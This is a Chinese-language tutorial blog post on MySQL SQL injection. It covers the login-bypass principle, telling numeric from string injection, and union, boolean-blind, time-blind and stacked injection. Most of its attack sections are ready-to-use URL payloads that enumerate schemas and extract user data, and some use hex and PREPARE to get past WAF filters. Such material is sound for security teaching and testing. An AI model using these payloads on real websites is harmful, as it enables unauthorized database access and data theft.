当前位置: 首页 > news >正文

SQL注入原理与方法

1.什么是SQL注入

SQL 注入是一种将恶意的 SQL 代码插入或“注入”到用于从数据库执行查询的输入字段中的攻击技术。其根本原因是程序没有严格地将用户输入的数据与代码(SQL 指令)进行分离,导致攻击者输入的数据被数据库误认为是代码的一部分并执行。下面我以Mysql为例来讲述。

2.SQL注入的原理

以一个登录场景为例,后端的PHP代码如下:

如果用户输入 admin 和 123456,生成的SQL语句是:

这是完全正确的,用户能够正常登录。

SQL 注入攻击:
攻击者在用户名输入框中输入:' OR '1'='1' -- ;密码可以随意输入,比如 abc。生成的SQL语句是:

语句执行过程如下:

(1)username = ''这部分是假的。

(2)OR '1'='1'这是一个永真条件,因为 '1'='1'永远为True。

(3)--(注意后面要加空格)在SQL中是注释符,它意味着后面的所有内容都被注释掉了,不再执行。

它会返回 users 表中的所有用户记录。如果登录逻辑是“只要查询到记录就认为登录成功”,那么攻击者就能以第一个返回的用户(通常是管理员)身份成功登录系统。

3.注入类型判断

3.1 数字型注入

假设后端SQL语句如下:

$id 是一个变量,它没有被单引号包围。程序期望这里传入的是一个数字,比如 1、2、3。

1.逻辑异常法:注入 AND 1=1 和 AND 1=2

  • payload: ?id=1 AND 1=1 -> 正常页面(因为 1=1 永真,条件成立)

  • payload: ?id=1 AND 1=2 -> 异常页面(空页面、错误信息等,因为 1=2 永假,条件不成立)

  • 如果出现上述“正常”和“异常”的明显区别,则极可能是数字型注入 因为我们的逻辑被直接拼接到了SQL条件中。

2.算术运算法:注入数学运算。

  • payload: ?id=3-2

  • 最终SQL: SELECT * FROM users WHERE id = 3-2;

  • 如果返回的页面与 ?id=1 的页面完全相同,说明数据库执行了 3-2 这个运算,并将结果 1 用于查询。这基本可以断定是数字型注入。

3.2 字符型注入

假设后端SQL语句如下:

$username 是一个变量,它被单引号包围。程序期望这里传入的是一段字符串,比如 'admin'。

1.单引号试探法

  • payload: ?username=admin'

  • SELECT * FROM users WHERE username = 'admin''; (单引号未闭合,语法错误)

  • 如果页面返回了数据库错误信息(如:You have an error in your SQL syntax...),说明我们输入的单引号破坏了SQL语法,这强烈暗示存在字符型注入,

2.逻辑异常法:

  • 我们需要先闭合引号,再插入我们的逻辑。

  • payload: ?username=admin' AND '1'='1 

  • SELECT * FROM users WHERE username = 'admin' AND '1'='1';
  • 观察页面反应:如果 admin' AND '1'='1 显示页面正常;而 admin' AND '1'='2  显示页面异常。如果出现这种区别,则说明是字符型注入。

4.SQL注入的方法

假设有一个商品展示页面:http://example.com/products.php?id=1

4.1 联合查询注入

联合注入是利用 SQL 的 UNION 操作符,将恶意查询的结果与原始查询结果合并,从而在应用程序页面上直接显示数据库数据的攻击技术。

UNION 操作符的特性:

  • UNION 用于合并两个或多个 SELECT 语句的结果集

  • 每个 SELECT 语句必须拥有相同数量的列

  • 列的数据类型必须兼容

  • 默认会去除重复行,使用 UNION ALL 可以包含重复行

(1)测试注入点

?id=1' AND '1'='1' --   正常
?id=1' AND '1'='2' --   空页面,存在注入

(2)确定列数

?id=1' ORDER BY 1 --   正常
?id=1' ORDER BY 2 --   正常
?id=1' ORDER BY 3 --   正常  
?id=1' ORDER BY 4 --   报错!确认有3列

(3)确定显示位

?id=1' UNION SELECT 1,2,3 --

(4)页面显示

位置 1:不显示
位置 2:显示为 "2"(商品标题位置)
位置 3:显示为 "3"(商品描述位置)

(5)获取数据库信息

?id=1' UNION SELECT 1,database(),version() -- 

(6)获取所有表名

?id=1' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()--

(7)获取表的列名

?id=1' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='表名' AND table_schema=database() --

(8)提取用户数据

?id=1' UNION SELECT 1,2,group_concat(列名)FROM 表名 -- 

注意:group_concat函数可以将一列中的数据拼接起来(用逗号隔开),但是长度有限制。

4.2 布尔盲注

布尔盲注是一种在没有直接数据回显、没有报错信息、没有时间延迟反馈的情况下,通过观察页面返回的布尔状态差异来逐位推断数据的 SQL 注入技术。

(1)测试注入点与布尔状态

?id=1' AND '1'='1' --   真条件(显示商品存在)
?id=1' AND '1'='2' --   假条件(显示商品不存在)

(2)获取数据库信息

//获取数据库长度,直到页面返回"真"状态
?id=1' AND LENGTH(DATABASE())=1 -- 
?id=1' AND LENGTH(DATABASE())=2 --
?id=1' AND LENGTH(DATABASE())=3 --
//获取当前数据库名,直到找到所有正确字符
?id=1' AND SUBSTRING(DATABASE(),1,1)='a' --
?id=1' AND SUBSTRING(DATABASE(),1,1)='b' --
//使用ASCII码提高效率
?id=1' AND ASCII(SUBSTRING(DATABASE(),1,1))>100 --
?id=1' AND ASCII(SUBSTRING(DATABASE(),1,1))<100 --

(3)获取表名

//获取表数量
?id=1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=DATABASE())=3 --
//获取第一个表名长度
?id=1' AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1))=10 --
//逐字符获取第一个表名
?id=1' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),1,1))=115 --
//检查是否存在某一列 
?id=1' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='表名' AND column_name='列名')=1 --

(4)获取列名

//获取表的列数量
?id=1' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='表名')=3 --
//获取第一个列名长度
?id=1' AND LENGTH((SELECT column_name FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='表名' LIMIT 0,1))=5
//逐字符获取第一个列名
?id=1' AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='表名' LIMIT 0,1),1,1))=115 --
//检查是否存在某一个表
?id=1' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='表名' )=1 --

(5)提取数据

//获取数据记录数量
?id=1' AND (SELECT COUNT(*) FROM 表名)=100 --
//获取某一列第一条数据的长度
?id=1' AND LENGTH((SELECT 列名 FROM 表名 LIMIT 0,1))=8 --

//提取某一列第一条数据的第一个字符
?id=1' AND ASCII(SUBSTRING((SELECT 列名 FROM 表名 LIMIT 0,1),1,1))=97 

4.3 时间盲注

时间盲注是一种在没有任何直接回显、没有任何错误信息、没有任何页面状态差异的情况下,通过观察数据库响应时间延迟来推断数据的 SQL 注入技术。

(1)确认注入点与延时功能

//真条件延时
?id=1' AND IF(1=1, SLEEP(5), 0)--
//假条件不延时  
?id=1' AND IF(1=2, SLEEP(5), 0)--
如果第一个请求延时,第二个不延时,说明时间盲注可行

(2)获取数据库基本信息

 //获取数据库名长度,直到页面响应时间约3秒
?id=1' AND IF(LENGTH(DATABASE())=1, SLEEP(3), 0)--
?id=1' AND IF(LENGTH(DATABASE())=2, SLEEP(3), 0)--
?id=1' AND IF(LENGTH(DATABASE())=3, SLEEP(3), 0)--
//猜解第一个字符的ASCII码,直到找到所有正确字符
?id=1' AND IF(ASCII(SUBSTRING(DATABASE(),1,1)='a', SLEEP(3), 0)--
?id=1' AND IF(ASCII(SUBSTRING(DATABASE(),1,1)='b', SLEEP(3), 0)--
//使用ASCII码提高效率
?id=1' AND IF(ASCII(SUBSTRING(DATABASE(),1,1)) BETWEEN 97 AND 122, SLEEP(3), 0)--

(3)获取表名

//获取表数量
?id=1' AND IF((SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=DATABASE())=5, SLEEP(3), 0)--
//获取第一个表名长度
?id=1' AND IF(LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1))=10, SLEEP(3), 0)--
//逐字符获取表名
?id=1' AND IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),1,1))=117, SLEEP(3), 0)--
//检查是否存在某一个表
?id=1' AND IF(EXISTS(SELECT 1 FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name='表名'), SLEEP(3), 0)--

(4)获取列名

//获取表的列数量
?id=1' AND IF((SELECT COUNT(*) FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='表名')=3, SLEEP(3), 0)--
//获取第一个列名长度
?id=1' AND IF(LENGTH((SELECT column_name FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='表名' LIMIT 0,1))=5,SLEEP(3), 0)--
//逐字符获取第一个列名
?id=1' AND IF(ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='表名' LIMIT 0,1),1,1))=105, SLEEP(3), 0)--
//检查是否存在某一列
?id=1' AND IF(EXISTS(SELECT 1 FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='表名' AND column_name='列名'), SLEEP(3), 0)--

(5)提取数据

//获取数据记录数量
?id=1' AND IF((SELECT COUNT(*) FROM users)=100, SLEEP(3), 0)--
//获取某一列第一条数据的长度
?id=1' AND IF(LENGTH((SELECT username FROM users LIMIT 0,1))=8, SLEEP(3), 0)
//提取某一列第一条数据的第一个字符
?id=1' AND IF(ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),1,1))=97, SLEEP(3), 0)--

4.4 堆叠注入

堆叠注入是一种通过分号 ; 分隔,在一次数据库请求中执行多条 SQL 语句的注入技术。与普通注入只能执行单个查询不同,堆叠注入可以执行任意 SQL 命令。数据库要支持多语句执行,如MySQL(需要 mysqli_multi_query 或特定配置);应用程序使用支持多语句的API;输入未充分过滤,如;。

(1)查看数据库

?id=1' ; show databases;--

(2)获取表名

?id=1' ; show tables;--

(3)获取列名

id=1' ; show column from 表名;--

如:?id=1';show columns from `users`;--   表名users需要被 ` 这个符号包起来,这个符号是 esc下面一个的按键,这个符号在mysql里用于分割其他命令,表示此为(表名、列名)。

(4)获取数据

//select等关键词未过滤的情况
?id=1' ; select 列名 from 表名;--
//select等关键词被过滤,使用16进制进行绕过
?id=1' ; Set @a=sql语句的16进制;prepare execsql from @a;execute execsql;--
//select等关键词被过滤,使用SQL预处理
1';prepare execsql from concat('s','elect','* from 表名');execute execsql;--

预处理绕过原理:

  • 应用层/WAF:只能监控到PREPAREEXECUTE语句

  • 数据库内部:在准备阶段完成字符串拼接,执行阶段直接运行完整SQL

  • 防护盲点:防护设备无法在数据库内部监控动态构造的SQL

注意:还有大小写混合双写关键、注释分割、其他编码形式的绕过。

http://www.dtcms.com/a/465338.html

相关文章:

  • 如何将Vue 项目转换为 Android App(使用Capacitor)
  • 输出端口原理图分析
  • 响应式网站建设有利于seo常熟做网站公司
  • php购物网站开发设计免费网站软件app
  • CTF攻防世界WEB精选基础入门:disabled_button
  • 昂瑞微:引领射频前端国产化浪潮,铸就5G时代核心竞争力
  • 基于SpringBoot的高校教师科研项目信息管理系统
  • 富文本返回的Html数据格式化
  • 昂瑞微冲刺科创板:创新驱动,引领射频芯片国产化新征程
  • 基于Java(Spring Boot)+MySQL实现电商网站
  • 记录一次生产环境数据库死锁的处理过程
  • 首先确定网站建设的功能定位seo推广工具
  • Nestjs框架: Pino 与 Pino-Elasticsearch 组合实现高性能日志写入与检索的完整方案
  • 走近实验技术中的“四大发明”之Southern blot、Northern blot和Western blot
  • 网站建设需求文档模板下载想做电商从哪里入手
  • ai做网站建站做得好的公司
  • 网络层--数据链路层
  • 网站设计应该遵循哪些原则手机网站打开手机app
  • 【AI安全】Qwen3Guard: 实时流式检测实现AI模型安全防护新标杆
  • 网络攻防技术:网络安全攻击概述
  • 【开题答辩全过程】以 “有客”旅游小助手平台为例,包含答辩的问题和答案
  • 如何创建网站难吗wordpress创建公告
  • 探索MySQL存储过程的性能优化技巧与最佳实践
  • UNIX下C语言编程与实践62-UNIX UDP 编程:socket、bind、sendto、recvfrom 函数的使用
  • UNIX下C语言编程与实践64-UNIX 并发 Socket 编程:I/O 多路复用 select 函数与并发处理
  • 世界杯哪个网站做代理跨境电商网站系统开发
  • SNK施努卡CCD视觉检测系统
  • 杨和勒流网站建设网站建设制作设计
  • SQLite架构
  • 初识Linux和Linux基础指令详细解析及shell的运行原理